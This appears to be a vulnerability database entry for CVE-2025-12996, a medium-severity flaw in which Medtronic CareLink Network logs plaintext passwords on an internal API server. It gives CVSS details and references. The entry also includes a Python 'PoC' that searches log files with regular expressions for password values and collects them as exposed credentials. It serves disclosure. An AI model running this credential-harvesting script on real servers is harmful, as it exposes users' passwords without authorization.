CVE-2025-12996

Description

Medtronic CareLink Network allows a local attacker with access to log files on an internal API server to view plaintext passwords from errors logged under certain circumstances. This issue affects CareLink Network: before December 4, 2025.

CVSS Details

CVSS Score

4.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:medtronic:carelink_network:*:*:*:*:*:*:*:* - VULNERABLE

Medtronic CareLink Network < 2025-12-04 版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-12996 PoC - Log File Password Extraction
# This PoC demonstrates the vulnerability where plaintext passwords
# may be found in error logs of Medtronic CareLink Network

import os
import re

def search_plaintext_passwords_in_logs(log_directory):
    """
    Search for plaintext passwords in CareLink Network log files.
    Note: This requires local access to the internal API server.
    """
    password_patterns = [
        r'password[=:]\s*["\']?([^"\s,}]+)["\']?',
        r'pwd[=:]\s*["\']?([^"\s,}]+)["\']?',
        r'pass[=:]\s*["\']?([^"\s,}]+)["\']?',
        r'Authentication.*?["\']([^"\']+)["\']'
    ]
    
    exposed_credentials = []
    
    for log_file in os.listdir(log_directory):
        if log_file.endswith('.log'):
            with open(os.path.join(log_directory, log_file), 'r') as f:
                content = f.read()
                for pattern in password_patterns:
                    matches = re.findall(pattern, content, re.IGNORECASE)
                    if matches:
                        exposed_credentials.append({
                            'file': log_file,
                            'credentials': matches
                        })
    
    return exposed_credentials

# Example usage
# log_dir = '/var/log/carelink/api/'
# results = search_plaintext_passwords_in_logs(log_dir)
# print(results)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12996
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12996
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12996/
[4] VulDB https://vuldb.com/cve/CVE-2025-12996
[5] https://www.medtronic.com/en-us/e/product-security/security-bulletins/carelink-network-vulnerabilities.html

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